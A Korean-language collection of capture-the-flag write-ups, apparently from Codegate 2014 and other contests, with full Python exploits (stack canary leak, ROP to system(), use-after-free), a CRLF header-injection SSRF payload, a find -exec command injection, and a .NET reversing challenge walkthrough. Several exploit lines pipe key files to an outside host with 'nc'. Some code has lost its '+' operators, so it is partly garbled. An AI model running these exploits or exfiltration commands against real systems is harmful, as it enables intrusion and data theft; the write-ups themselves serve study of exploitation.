Binary :

angry_doraemon_c927b1681064f78612ce78f6b93c14d9


문제엔 두부분으로 공격할 수 있다.


1. Stack Based Buffer Overflow

2. Pointer


1번은 bof 취약점이 있는 부분을 공격하면 되고, 2번은 4바이트의 값을 받고 그곳으로 점프한다. 하지만 필터링을 우회해야 한다.


예를들어서 AAAA 를 넣으면 0x41414141 로 점프하는 방법이다.


어떤 방법으로든 할순 있겠지만 아이디어가 떠오르지 않아 BOF 방향으로 진행했다.


그리고 이문제를 풀면서 스택쿠키가 4바이트이고 그 값이 똑같으면 우회할 수 있다는 것을 처음 알게 되었다.


이하 Exploit


from socket import *

import struct

import time


ip = "58.229.183.18"

#ip = "192.168.0.109"

port = 8888

p = lambda x : struct.pack("

up = lambda x : struct.unpack("


read = 0x08048620

write = 0x080486e0

write_got = 0x0804b040

freespace = 0x0804bc00

f_throwmouse = 0x08048fc6


cmd = "cat key|nc 220.117.247.200 31333\x00"


pppr = 0x080495bd


#write : e0910

#system : 41260

#write - system = 9F6B0

def stage1_payload(canary):

payload = "y"*10

payload = canary

payload = "A"*12


payload = p(write)

payload = p(pppr)

payload = p(4)

payload = p(write_got)

payload = p(4)


payload = p(f_throwmouse)

payload = "AAAA"

payload = p(4)


return payload


def stage2_payload(canary, write_ptr):

system = write_ptr - 0x9f6b0


payload = "y"*10

payload = canary

payload = "A" *12


payload = p(read)

payload = p(pppr)

payload = p(4)

payload = p(freespace)

payload = p(len(cmd))


payload = p(system)

payload = "AAAA"

payload = p(freespace)

return payload


#################################################################

#####################[ get canary ]]####################

#################################################################

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

raw_input("[*] Get canary. . .")


s.send("4\n")

print s.recv(0x1024)

s.send("y"*11)

canary = s.recv(0x1024)[12 11:]#.encode("hex")

canary = canary[:len(canary)-3]

print "canary : " canary

canary = "\x00" canary[:3] # result

print "canary result : " canary[::-1].encode("hex")

s.close()

#################################################################

#####################[ staged_exploit ]]####################

#################################################################

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

raw_input("[*] Exploit. . . .")

s.send("4\n")

print s.recv(0x1024)

print stage1_payload(canary)

s.send(stage1_payload(canary))# "\x11\xe8\x10\xc3"


w_got = up(s.recv(4))

print "[!] Leaked write_got : " hex(w_got)

print s.recv(0x1024) # r u sure?

s.send(stage2_payload(canary, w_got))

time.sleep(1)

s.send(cmd)


print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)



print s.recv(0x1024)

s.close()

#################################################################

raw_input("[*]All Done.")


"""

C:\Users\Administrator>nc -lvp 31333

listening on [any] 31333 ...

58.229.183.18: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [58.229.183.18] 46737: NO_DATA

CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP

"""



Exploit은 총 3군데로 나눌수 있는데

첫 번째는 스택 쿠키를 가져오는 부분이고 [fork() 되어있기 때문에 항상 카나리 값은 고정이다.]

두 번째는 write_got 포인터를 Leak 시켜서 가져오고

세 번째는 leak 시킨 포인터를 이용하여 system 함수를 계산해서 Command Execution을 한다.


Key : CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP




문제는 말그대로 WebProxy 문제이고 웹사이트 링크를 넣으면 서버가 그 곳에 get 메소드로 요청한뒤 정보를 받아온다.


문제 html 소스코드를 살펴보면 마지막줄에 <!-- admin/index.php --> 라는 소스코드가 있는데, 이 url로 접속해보니 403 Access 관련 오류가 나온다.


문제 의도는 admin 페이지를 읽는것으로 추정하고 문제 풀이에 들어갔다.


먼저 조금더 확인을 위해 여러 url과 필터링되는 값을 알아본 결과 // 와 php 라는 글자가 필터링된다.


이후 잠시 진전이 없다가 127.0.0.1/~/admin/ 으로 접근하면 어떨까 생각이 들고 바로 시행한 결과 200 OK 사인이 떨어졌다.




하지만 문제점이있다.


이렇게 access가 된다고 해도 2줄밖에 표시를 안한다는 점인데 이점은 Range 헤더를 추가하면 간단히 해결 할 수 있다.


하지만 http 헤더를 추가하는 방법이 감이 안잡혀 고민하다가 개행문자가 떠올랐다.


바로 %0a 인데 이것을 사용하면 되지 않을까 하고 바로 시행했다.


nc로 포트를 열고 웹프록시가 나에게 보내는 헤더를 보니 


GET / HTTP/1.0

HOST : 2**.1**.2**.2** (일부 모자이크 처리)


이었는데 이곳에 개행문자를 삽입하면


GET / 

HTTP/1.0

HOST : 2**.1**.2**.2** (일부 모자이크 처리)


이렇게 되는것을 확인했고 바로 공격을 시도했다.


http://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=127.0.0.1/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/%20HTTP/1.0%0aRange:%20bytes=372-415%0aReferer:


결과 : <!--if($_SERVER[HTTP_HOST]=="hackme")--></bo


range로 372 ~ 415 바이트 구간을 본 결과 host 값이 hackme 로 되어야 한다.


또 range로 앞부분을 살펴보면 Access Denied가 나오는데 아직 문제 풀이가 덜 됬다는 것을 알수 있다.


하지만 host 를 hackme로 한결과 그래도 accessdenied가 나오는데 아마 중복헤더 때문에 그런것 같은 느낌이다.

GET / 

HTTP/1.0

HOST : hackme

HOST : 2**.1**.2**.2** (일부 모자이크 처리)


위와 같이 중복헤더가 생성되어 if문을 통과하지 못했는데, 이는 간단하게 해결할 수 있다.


최종 페이로드는 다음과 같다.


http://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/%20HTTP/1.0%0aRange:%20bytes=76-121%0aHost:%20hackme%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0aReferer:


결과 


HTTP/1.1 206 Partial Content

Date: Sat, 22 Feb 2014 15:22:17 GMT

Server: Apache/2.4.6 (Ubuntu)

X-Powered-By: PHP/5.5.3-1ubuntu2.1

Vary: Accept-Encoding

Content-Range: bytes 76-121/127

Content-Length: 46

Connection: close

Content-Type: text/html



Password is WH0_IS_SnUS_bI1G_F4N



Key : WH0_IS_SnUS_bI1G_F4N




nuclear_d4f699f3dbb8aadf7c224aa57f57eb4c


from socket import *

from struct import *

import time


p = lambda x : pack("

up = lambda x : unpack("

ip = "192.168.0.109"

ip = "58.229.183.22"

port = 1129


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


launchcode = "in the end, i was there." # this is passkey


send_plt = 0x08048900

recv_plt = 0x080488e0

send_wrap = 0x08048a0d

recv_wrap = 0x08048a6f


mprotect_got = 0xb75f22b0

freespace = 0x0804b500


ppppr = 0x0804917c

pppr = ppppr 1

ppr = pppr 1

pr = ppr 1

r = pr 1


def leak_payload1():

payload = ""

payload = "1" * 500

payload = "/"

payload = "1" * 1000

return payload


def leak_payload2():

payload = ""

payload = "1."

payload = "1" * 500

payload = "/"

payload = "1" * 1000

return payload


def leak_setsock_got():

payload =""

payload = "A" * 0x20c

payload = "BBBB"


payload = p(send_wrap)

payload = p(ppr)

payload = p(4)

payload = p(0x0804b00c)


payload = p(0x08048b5b)

payload = p(pr)

payload = p(4)


payload = p(0x08048b5b)

payload = p(pr)

payload = p(4)


payload = p(0x08048b5b)

payload = p(pr)

payload = p(4)


payload = p(0x08048b5b)

return payload


def mpro_exploit(mprotect): # mprotect payload

payload =""

payload = "A" * 0x20c

payload = "BBBB"


payload = p(mprotect)

payload = p(pppr)

payload = p(freespace)

payload = p(3000)

payload = p(7)


payload = p(recv_wrap)

payload = p(pr)

payload = p(4)

payload = p(freespace)

payload = p(len(shellcode))


return payload


def sys_exploit(system):

payload =""

payload = "A" * 0x20c

payload = "BBBB"


payload = p(recv_wrap)

payload = p(pppr)

payload = p(4)

payload = p(freespace)

payload = p(len("cat key | nc 220.117.247.200 12071\x00"))


payload = p(system)

payload = p(pr)

payload = p(freespace)


payload = p(0x08048b5b)

return payload


#########################[START EXPLOIT]##############################

print s.recv(1024)

print s.recv(1024)

s.send("target\n")

print s.recv(1024)

s.send(leak_payload1() "\n") # try to leak

##################[End LEAK FILE NAME - 1]############################

print s.recv(4096)

print s.recv(4096)

s.send("target\n")

print s.recv(4096)

s.send(leak_payload2() "\n") # try to leak File name

##################[End LEAK FILE NAME - 2]############################

print s.recv(4096)

launchcode = s.recv(4096).split('\n')[0]

launchcode = launchcode[len(launchcode)-24:] # get launchcode

launchcode = "\n"

print "LEAKED NUCLEAR LAUNCH CODE IS : " launchcode

##################[End LEAK FILE NAME - 3]############################

s.send("launch")

print s.recv(4096)

s.send(launchcode)

print s.recv(1024)

s.send(leak_setsock_got())

print s.recv(1024)

time.sleep(1)

setsockopt = up(s.recv(1024)[0:4])

print hex(setsockopt)

print s.recv(1024)

##################[ End LEAK SETSOCK 'GOT' ]##########################

mprotect = setsockopt - 0x6810

system = setsockopt - 0xb2860

print hex(system)

#######################[ GOT SYSTEM PTR ]#############################

s.send(sys_exploit(system))

time.sleep(0.3)

s.send("cat key | nc 220.117.247.200 12071\x00")

time.sleep(0.3)

############################[ GET KEY ]###############################

s.recv(1024)

s.recv(1024)

s.recv(1024)

s.recv(1024)

s.recv(1024)

s.recv(1024)

s.recv(1024)

##########################[ End Of File ]#############################

"""


"in the end, i was there." # this is passkey


######################################################################

:: Welcome to the Nuclear Control System ::



>

[ ] Enter coordinate of target, (Latitude/Longitude)

--->

[ ] Target coordinate setting completed.


> [!] Unknown command : 11111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111넁%P

> [!] Unknown command : 11111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

111111111111111111111


>

[ ] Enter coordinate of target, (Latitude/Longitude)

--->

[ ] Target coordinate setting completed.


LEAKED NUCLEAR LAUNCH CODE IS : in the end, i was there.


[ ] Enter the passcode to launch the nuclear :

[ ] Correct passcode!


[2J[0;0H[5;5HIF YOU WANT CANCEL THIS OPERATION, ENTER THE CANCEL CODE




COUNT DOWN : 100

0xb76a8ac0L

[5;5HIF YOU WANT CANCEL THIS OPERATION, ENTER THE CANCEL CODE




COUNT DOWN : 99

0xb75f6260L


C:\Users\Administrator>


C:\Users\Administrator>nc -lvp 12071

listening on [any] 12071 ...

58.229.183.22: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [58.229.183.22] 45227: NO_DATA

BUG_BOUNTIES_b3COM3_GrEAT

"""

# Key : BUG_BOUNTIES_b3COM3_GrEAT

##############################[ Result ]##############################


Key : BUG_BOUNTIES_b3COM3_GrEAT


처음에 mprotect로 시도하는데 잘 안되서 system으로 전환했더니 잘 된다.


이럴수가! [근데 cd80의 풀이를 보니 mprotect도 잘된는것 같았다... -_-]






Closure -----


closure


C:\Users\Administrator>nc 58.229.183.22 2020

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

1. Login

2. Create Account

3. Quit

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

$ 2

Username: 5

[531320059] user created.

$ 1

Username: 531320059

login success.

##################################

1. create file

2. check file list

3. Log out

##################################

# 1

[ ] input filename to write : ~ -name key -exec cat {}

[ ] input contents of this file : (MAX 1024 bytes)

123123

[ ] Write Done!


2

# sandbox

hoi

;


1024

kkk


awef


key

sambalbij


aa

?담뀋?밤꽩?뉎꽮?담뀋?밤꽩?뉎꽮

dfsafsda

key

yes

\/home

testtest

2

3

asd

key

'home/sandbox';

12345


'

/home

contenta

cat /home/runcommand/key

key -exec cat {}

asd


keykey

1

cat /home/runcommand/key

1024

key

ls

codegate

/bin/sh ls

123

2

123

"SDFSDF"SDF"SDF""@$E"@$@"$@"#!"""""

test

124124124

"&%^&%^&^%"%^&"

key

DUD3_GOOD_KEY_IS_GOLD_KEY


#


key : DUD3_GOOD_KEY_IS_GOLD_KEY



Run Command ------------

바이너리 없음.



#######################################################################

C:\Users\Administrator>nc -lvp 9091

listening on [any] 9091 ...

58.229.183.21: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [58.229.183.21] 52080: NO_DATA

HIGH5_TO_BUGHunT3RS


guest@codegate:/tmp$ cat swswsw_cmd

sh swswswshguest@codegate:/tmp$


guest@codegate:/tmp$ cat swswswsh

cat /home/closure/key | nc 220.117.247.200 9091


key : HIGH5_TO_BUGHunT3RS




Binary :


level4



from socket import *

import struct

import time


p = lambda x : struct.pack("


ip = "192.168.0.109"

port = 31333


freewrap = 0x080487c4

system_plt = 0x08048630


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(1024)

print s.recv(1024)


for i in range(0, 3):

s.send("1\n")

print s.recv(1024)


s.send("sweetchip\n")

print s.recv(1024)

s.send("31337\n")

print s.recv(1024)

s.send(p(freewrap)*0x100 p(system_plt)*0x300 "\n")

print s.recv(1024)

print s.recv(1024)


s.send("2\n")

print s.recv(1024)

print s.recv(1024)


s.send("2\n") # select board 2

print s.recv(1024)

print s.recv(0x1024)


for i in range(0, 0x80):

s.send("3\n")

print s.recv(1024)

s.send("zzzzzz\n") # reply

print s.recv(1024)


s.send("1\n")

print s.recv(1024)


s.send("4\n")

print s.recv(1024)

print s.recv(1024)



for i in range(0, 2):

s.send("1\n")

print s.recv(1024)


s.send("sweetchip\n")

print s.recv(1024)

s.send("31337\n")

print s.recv(1024)

s.send("BBBB" "\n")

print s.recv(1024)

print s.recv(1024)


s.send("2\n") # select board 2

print s.recv(1024)

print s.recv(1024)


s.send("4\n") # select board 4

print s.recv(1024)

print s.recv(0x1024)



s.send("2\n") # modify

print s.recv(1024)

s.send("sweetchi\n")

print s.recv(1024)

s.send("3137\n")

print s.recv(1024)



for i in range(0, 0x80):

s.send("3\n")

print s.recv(1024)

s.send("/bin/sh\n") # reply

print s.recv(1024)


s.send("1\n") # BOOM


s.send("whoami\n")

print s.recv(1024)



UAF 입문 및 분석에 많은 도움을 준 문제..


완벽히 궁금증들이 모두 풀린것은 아니지만 할만 하다.



level10


binary


# jctf 2013 lv10 exploit -

from socket import *

import time


ip = "127.0.0.1"

port = 31333


payload = "257\n" # type conversion

payload = "134525080\n" # random[16]

payload = "7\n" # exit

payload = "A"*19 #buff ~ 19

payload = "\n" # buff ~ 20


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(1024)

s.send("257\n")


print s.recv(1024)

s.send("134525080\n")


print s.recv(1024)

s.send("7\n")


print s.recv(1024)

s.send("A"*19 "\n")


time.sleep(1)


canary = s.recv(1024)


print canary


canary = canary[164:]


print canary


s.send(canary)


print s.recv(1024)



위는 익스플로잇이다.




root@ubuntu:/home/sweetchip/Desktop/cyber/jctf# python ./a.py

Get me your information.

1. Age

2. Sex

3. Birth

4. Favorite number

5. Reversing skill

6. Exploitaion skill

7. Exit this menu

INPUT:

Value?

INPUT:

add_value(): added


Get me your information.

1. Age

2. Sex

3. Birth

4. Favorite number

5. Reversing skill

6. Exploitaion skill

7. Exit this menu

INPUT:

Thanks for the info.

1: number - 00000101, value - 0804b098

Are you trying to buffer overflow?!:

INPUT: [1] error: the buffer is too long. [36][AAAAAAAAAAAAAAAAAAA

ǖ>丒𢡊ඝ

Input the random bytes, if correct, you'll get the flag!

INPUT:

ǖ>丒𢡊ඝ

Input the random bytes, if correct, you'll get the flag!

INPUT:


Oh, wow! Congrats! The key is: this is flag zz << 임시로 만들어둔 플래그입니다.


INPUT:

root@ubuntu:/home/sweetchip/Desktop/cyber/jctf#


원래 로컬 문제지만 그냥 리모트로 돌리고 exploit을 진행했다.


또 이문제는 여러 풀이가 있을수 있지만 이번엔 type conversion buffer overflow 를 이용하여 random값을 유출시킨 뒤 풀었다.




2013년 11월 8일 오전 10시 @분 ~ 오후 4시 5분까지 POC 이벤트 홀에서 여성 해킹방어대회 본선이 진행 되었습니다.


저는 학교에 수능성적을 적으려 잠시 다녀오고 11시에 양재동으로 가는데 차가 막혀서 거의 12시약간 안되서부터 운영에 참가했었습니다.


그리고 제 문제는 대략 2시 이후에 공개되었엇는데, 공개가 되고 난 뒤 돌아다녀보니 많은 팀들이 닷넷 리버싱을 풀고 계셨습니다.


예선때 문제를 생각보다 잘 푸셧기 때문에[한번에 풀 수 있는 트릭을 잘 사용하신 팀이 상당히 많았음] 본선엔 약간 난이도를 올려 크랙미에서 키젠미로 내려고 하게 되었고,


예선때와 마찬가지로 손수 난독화를 진행해서 최종적으로 출제했었습니다.



F2EE31BCB5BD7DE78280E949877018AAF7F1C610




문제는 위와 같이 평문 메세지를 입력하면 암호화된 문자열을 출력시키는 방식입니다.


그리고 문제 원본은 압축파일이었고 문제 바이너리와 텍스트 메세지가 함께 들어있었습니다.


decrypt_message.txt


Sweet Secret Memo _ logger 0.1

Date : 10.26_23:44 [UTC 09:00]

Chicken's Message : 144 207 93 170 111 25 130 144 21 152 172 -3 113 164 -24 94 117 -25 173 106 77 169 119 15 135 127 9 111 123 -12 109 218 61 155 98 50 199 131 -2 168 205 75 169 164 24 139 116 95 127 113 71 102 141 -18 152 153 28 111 131 74 207 201 -21 174 155 74 138 164 -7 179 215 94 187 142 55 147 99 64 176 117 25 193 177 47 135 111 -5 108 137 -8 132 120

Egg's Message : 210 209 22 126 188 29 212 101 24 125 145 -22 180 134 -30 162 107 18 142 210 8 185 95 -23 221 123 54 183 180 39 103 145 57 141 181 56 141 138 -25 124 133


End of Log


문제의 주 목적은 위에 있는 정보를 활용하여 데이터를 복호화 시키는 것이었고, 두가지는 공통 조건이므로 한번 복호화 루틴을 만들면 똑같이 수행할 수 있습니다.


이 문제 역시도 예선때와 같이 문제속에 닷넷 디컴파일러를 다운받을 수 있는 링크가 주어졌습니다. [디자인은 재탕 ㅎㅎ]


디컴파일러로 디컴파일을 해보면 다음과 같습니다.


using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Text;
using System.Windows.Forms;
namespace POWEROFXX_easy_reversing
{
public class Form1 : Form
{
public string d8jergu394r0nnsjd94jfs = "9pMaVs5DxiOPGe8JETXYmg3lbudro6Qk1WLKwyhfnS4Iv0ABtjUCc7RZz2NFHq";
public int njgcgcxdxxx6r = DateTime.Today.DayOfYear;
public int zfgvjnkji8y6ug9u9i = DateTime.Now.Hour;
public int cljbyt798ygdre5 = DateTime.Now.Minute;
public int zsawsrf6g0i98t6vllp = DateTime.Today.Month;
public int qexyg8j9u8thuhg = DateTime.Today.Day;
private IContainer components;
private Button button1;
private Panel panel1;
private Panel panel2;
private Label label3;
private TextBox textBox1;
private TextBox textBox2;
private Label label1;
private void textbox1_mouseclick(object sender, MouseEventArgs e)
{
}
public Form1()
{
this.InitializeComponent();
this.d8jergu394r0nnsjd94jfs = "KfeROdEILJs5W6D1m4XFtH7YbwgrUConPuqQBcSxT092zljv8yMAGhpZN3akVi";
this.d8jergu394r0nnsjd94jfs = "8vxekVPpYlsXDAujWoJEingTGf3mCh59LROt6cdUNMb41zH7Kr0yS2BIFZqawQ";
}
public string ldfogndkfvisgi490rjgdijgw434ref(string a)
{
StringBuilder stringBuilder = new StringBuilder();
int num = this.zsawsrf6g0i98t6vllp;
char[] array = a.ToCharArray();
for (int i = 0; i < a.Length; i )
{
stringBuilder.Append((int)(this.d8jergu394r0nnsjd94jfs[i num] ^ array[i]) " ");
}
return stringBuilder.ToString();
}
public int kfig9jepoingndkfvndjroger(string chr, int range)
{
int num = int.Parse(chr);
int num2 = range % 3;
int num3 = 2;
if (num2 == 0)
{
num = this.qexyg8j9u8thuhg * num3 this.cljbyt798ygdre5 * num3 - this.zfgvjnkji8y6ug9u9i * 2;
}
else
{
if (num2 == 1)
{
num = this.zsawsrf6g0i98t6vllp * 3 this.cljbyt798ygdre5 * 2 - this.zfgvjnkji8y6ug9u9i * num2;
}
else
{
if (num2 == 2)
{
num = this.njgcgcxdxxx6r - this.zsawsrf6g0i98t6vllp * (num2 * 5) - this.cljbyt798ygdre5 * num2 - this.zfgvjnkji8y6ug9u9i * (num3 4) - num2 * num3;
}
}
}
return num;
}
public void lfkfidngigiwhiu3yr89igorg(string str)
{
string text = "Sweet Secret Memo _ lfkfidngigiwhiu3yr89igorg 0.1\r\n";
object obj = text;
text = string.Concat(new object[]
{
obj,
"Date : ",
this.zsawsrf6g0i98t6vllp,
".",
this.qexyg8j9u8thuhg,
"_",
this.zfgvjnkji8y6ug9u9i,
":",
this.cljbyt798ygdre5,
" [UTC 09:00]\r\n"
});
text = text "Your Message : " str "\r\n\r\n";
text = "End of Log";
StreamWriter streamWriter = new StreamWriter("savelog.txt");
streamWriter.Write(text);
streamWriter.Close();
}
public void gettime()
{
this.njgcgcxdxxx6r = DateTime.Today.DayOfYear;
this.cljbyt798ygdre5 = DateTime.Now.Minute;
this.zsawsrf6g0i98t6vllp = DateTime.Today.Month;
this.qexyg8j9u8thuhg = DateTime.Today.Day;
this.zfgvjnkji8y6ug9u9i = DateTime.Now.Hour;
}
public static string ncfjgirerg430t34trdgdfs(string input)
{
int length = input.Length;
char[] array = new char[length];
for (int i = 0; i < input.Length; i )
{
array[i] = input[length - i - 1];
}
return new string(array);
}
private void Form1_Load(object sender, EventArgs e)
{
this.panel2.BackColor = Color.Transparent;
this.d8jergu394r0nnsjd94jfs = "Hv8VzYa5b1FMGNODW4kwX9L3hK6SqsTtyxoE0Z7fPJIgrCAQiljBuenRcp2dUm";
this.d8jergu394r0nnsjd94jfs = "fgnCw4HPJRdXKIq31YNDZMS82OjA7eUxpozasVmykiQrTFLW6htGb9B0lEcvu5";
this.d8jergu394r0nnsjd94jfs = "jxLaZdWYngAfKGNhzTcXQU7Jy9sFbp0eRI1ECrv23PSw846oH5MBVtlDiOqumk";
this.d8jergu394r0nnsjd94jfs = "U0tnl9bVK4iB2LzZXy7PaCHcAI5pOsSfjgqkr1vuRTFEo8Dxmhw3QGdeJM6WYN";
this.d8jergu394r0nnsjd94jfs = "gWYN9w4LuPjxJl1MhOkniQy8CBUXr6THaKDctEdb0Imp32VfFZGvAS5ezqsR7o";
this.d8jergu394r0nnsjd94jfs = "wj3J9fL8QY2kArXKgOEzmSdqHpcMsn1ahGWxCe7yPIlTuDRb6F40oZtiUBvV5N";
}
private void panel_doubleclick(object sender, MouseEventArgs e)
{
MessageBox.Show("aHR0cDovL2lsc3B5Lm5ldC8=", "__BASE64__");
}
public string h8r9gu4inheiprhgnncvjousdfgiuweg(string str)
{
StringBuilder stringBuilder = new StringBuilder();
string text = this.ldfogndkfvisgi490rjgdijgw434ref(Form1.ncfjgirerg430t34trdgdfs(str));
string[] array = text.Split(new char[]
{
' '
});
for (int i = 0; i < array.Length - 1; i )
{
stringBuilder.Append(this.kfig9jepoingndkfvndjroger(array[i], i) " ");
}
return stringBuilder.ToString();
}
private void button1_Click(object sender, EventArgs e)
{
if (this.textBox2.Text.Length > this.d8jergu394r0nnsjd94jfs.Length - this.zsawsrf6g0i98t6vllp)
{
MessageBox.Show("Length Error", "ERROR_bb");
return;
}
this.gettime();
string text = this.h8r9gu4inheiprhgnncvjousdfgiuweg(this.textBox2.Text);
this.textBox1.Text = text;
this.lfkfidngigiwhiu3yr89igorg(text);
}
private void textBox2_MouseClick(object sender, MouseEventArgs e)
{
if (this.textBox2.Text == "Input Your Plain Text")
{
this.textBox2.Text = "";
}
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1));
this.button1 = new Button();
this.panel1 = new Panel();
this.textBox2 = new TextBox();
this.label3 = new Label();
this.textBox1 = new TextBox();
this.panel2 = new Panel();
this.label1 = new Label();
this.panel1.SuspendLayout();
base.SuspendLayout();
this.button1.BackColor = Color.CornflowerBlue;
this.button1.FlatStyle = FlatStyle.Popup;
this.button1.Font = new Font("맑은 고딕", 9f, FontStyle.Bold, GraphicsUnit.Point, 129);
this.button1.ForeColor = Color.Black;
this.button1.Location = new Point(508, 69);
this.button1.Name = "button1";
this.button1.Size = new Size(75, 23);
this.button1.TabIndex = 10;
this.button1.Text = "SUBM1T";
this.button1.UseVisualStyleBackColor = false;
this.button1.Click = new EventHandler(this.button1_Click);
this.panel1.BackColor = SystemColors.ActiveCaptionText;
this.panel1.Controls.Add(this.label1);
this.panel1.Controls.Add(this.textBox2);
this.panel1.Controls.Add(this.label3);
this.panel1.Controls.Add(this.textBox1);
this.panel1.Controls.Add(this.button1);
this.panel1.Location = new Point(0, 269);
this.panel1.Name = "panel1";
this.panel1.Size = new Size(597, 99);
this.panel1.TabIndex = 11;
this.textBox2.BackColor = Color.Black;
this.textBox2.BorderStyle = BorderStyle.FixedSingle;
this.textBox2.Font = new Font("맑은 고딕", 9f, FontStyle.Bold, GraphicsUnit.Point, 129);
this.textBox2.ForeColor = SystemColors.GradientActiveCaption;
this.textBox2.Location = new Point(12, 25);
this.textBox2.Name = "textBox2";
this.textBox2.Size = new Size(491, 23);
this.textBox2.TabIndex = 17;
this.textBox2.Text = "Input Your Plain Text";
this.textBox2.MouseClick = new MouseEventHandler(this.textBox2_MouseClick);
this.label3.AutoSize = true;
this.label3.Font = new Font("맑은 고딕", 9.75f, FontStyle.Regular, GraphicsUnit.Point, 129);
this.label3.ForeColor = Color.FromArgb(192, 192, 255);
this.label3.Location = new Point(9, 51);
this.label3.Name = "label3";
this.label3.Size = new Size(112, 17);
this.label3.TabIndex = 16;
this.label3.Text = "Crypted Message";
this.textBox1.BackColor = Color.Black;
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
this.textBox1.Font = new Font("맑은 고딕", 9f, FontStyle.Bold, GraphicsUnit.Point, 129);
this.textBox1.ForeColor = SystemColors.GradientActiveCaption;
this.textBox1.Location = new Point(12, 69);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new Size(491, 23);
this.textBox1.TabIndex = 15;
this.textBox1.MouseClick = new MouseEventHandler(this.textbox1_mouseclick);
this.panel2.Location = new Point(303, 12);
this.panel2.Name = "panel2";
this.panel2.Size = new Size(281, 140);
this.panel2.TabIndex = 15;
this.panel2.MouseDoubleClick = new MouseEventHandler(this.panel_doubleclick);
this.label1.AutoSize = true;
this.label1.Font = new Font("맑은 고딕", 9.75f, FontStyle.Regular, GraphicsUnit.Point, 129);
this.label1.ForeColor = Color.FromArgb(192, 192, 255);
this.label1.Location = new Point(9, 7);
this.label1.Name = "label1";
this.label1.Size = new Size(94, 17);
this.label1.TabIndex = 18;
this.label1.Text = "Plain Message";
base.AutoScaleDimensions = new SizeF(7f, 12f);
base.AutoScaleMode = AutoScaleMode.Font;
this.BackColor = SystemColors.Control;
this.BackgroundImage = (Image)componentResourceManager.GetObject("$this.BackgroundImage");
base.ClientSize = new Size(596, 368);
base.Controls.Add(this.panel2);
base.Controls.Add(this.panel1);
this.ForeColor = SystemColors.ControlText;
base.FormBorderStyle = FormBorderStyle.FixedSingle;
base.Icon = (Icon)componentResourceManager.GetObject("$this.Icon");
base.MaximizeBox = false;
base.MinimizeBox = false;
base.Name = "Form1";
this.Text = "2013 POWER OF XX - Easy Reverse Engineering 2";
base.Load = new EventHandler(this.Form1_Load);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
base.ResumeLayout(false);
}
}

}


상당히 스크롤 압박의 코드들인데, 이상한 함수명과 변수명을 보고 많은 분들이 멘붕을 느끼셨을걸로 예상되는데,


이를 다시 함수를 분석하고 변수의 초기값까지 추적하면서 함수명을 변경한다면 쉬운 코드로 변환이 가능합니다.


분석을 해보시면 알겠지만, 이 프로그램은 시간에 영향을 받습니다. 그래서 시간이 지날때마다 암호화 결과가 바뀌게 됩니다.


그것도 참고하면서 분석하면 되겠습니다.


우선 간단하게


public void gettime()
{
this.njgcgcxdxxx6r = DateTime.Today.DayOfYear; // day of year
this.cljbyt798ygdre5 = DateTime.Now.Minute; // minute
this.zsawsrf6g0i98t6vllp = DateTime.Today.Month; // month
this.qexyg8j9u8thuhg = DateTime.Today.Day; // day
this.zfgvjnkji8y6ug9u9i = DateTime.Now.Hour; // hour

}


위 코드는 이번 문제중 한부분입니다.


위와 같이 변수가 하는 일을 추적하면서 변수와 함수명을 바꿔갑니다.


public static string ncfjgirerg430t34trdgdfs(string input)
{
int length = input.Length;
char[] array = new char[length];
for (int i = 0; i < input.Length; i )
{
array[i] = input[length - i - 1];
}
return new string(array);

}


위 함수의 경우는 그대로 복사후에 붙여 넣고(약간 수정이 필요할수도 있겟으나.) 컴파일 해보면 문자열을 뒤집는 역할을 합니다.


public string ldfogndkfvisgi490rjgdijgw434ref(string a) // 첫번째 암호화 시작
{

StringBuilder stringBuilder = new StringBuilder();
int num = this.zsawsrf6g0i98t6vllp;
char[] array = a.ToCharArray();
for (int i = 0; i < a.Length; i )
{
stringBuilder.Append((int)(this.d8jergu394r0nnsjd94jfs[i num] ^ array[i]) " ");
}
return stringBuilder.ToString();
}


위는 문자열을 암호화 시키는 함수 2개중 1개입니다.


